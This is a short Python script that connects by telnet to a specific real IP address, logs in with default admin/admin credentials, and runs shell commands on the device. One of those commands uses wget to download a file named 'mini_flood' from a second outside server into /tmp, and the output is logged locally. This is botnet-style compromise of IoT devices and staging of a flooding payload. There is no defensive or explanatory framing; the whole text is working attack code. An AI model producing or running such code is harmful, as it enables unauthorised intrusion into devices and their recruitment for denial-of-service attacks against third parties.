import socket, time

def try_device(ip, port, user, passwd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, port))
    time.sleep(1)
    data = s.recv(4096).decode(errors="ignore")
    if "login" in data.lower():
        s.send((user+"\r\n").encode())
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
    if "password" in data.lower():
        s.send((passwd+"\r\n").encode())
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
    try: s.recv(65536)
    except: pass
    return s

def cmd(s, c, wait=2):
    s.send((c+"\r\n").encode())
    time.sleep(wait)
    r = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk: break
            r += chunk
    except: pass
    return r.decode(errors="ignore")

# Test on 45.139.50.126
ip = "45.139.50.126"
try:
    s = try_device(ip, 23, "admin", "admin")
    # Check what wget version we have
    r = cmd(s, "wget --version 2>&1 | head -1")
    open("/tmp/r3.txt","w").write("WVER: " + r.strip()[:100])
    # Try explicit wget with verbose
    r = cmd(s, "wget -v -O /tmp/flood http://167.148.195.3/mini_flood 2>&1", 15)
    open("/tmp/r3.txt","a").write("\nWGET: " + r.strip()[:200])
    # Check file
    r = cmd(s, "ls -la /tmp/flood")
    open("/tmp/r3.txt","a").write("\nLS: " + r.strip()[:100])
    # Check /var/tmp as alt
    r = cmd(s, "ls /tmp/ 2>&1")
    open("/tmp/r3.txt","a").write("\nLSALL: " + r.strip()[:200])
    s.close()
except Exception as e:
    open("/tmp/r3.txt","a").write("\nERR: " + str(e)[:100])
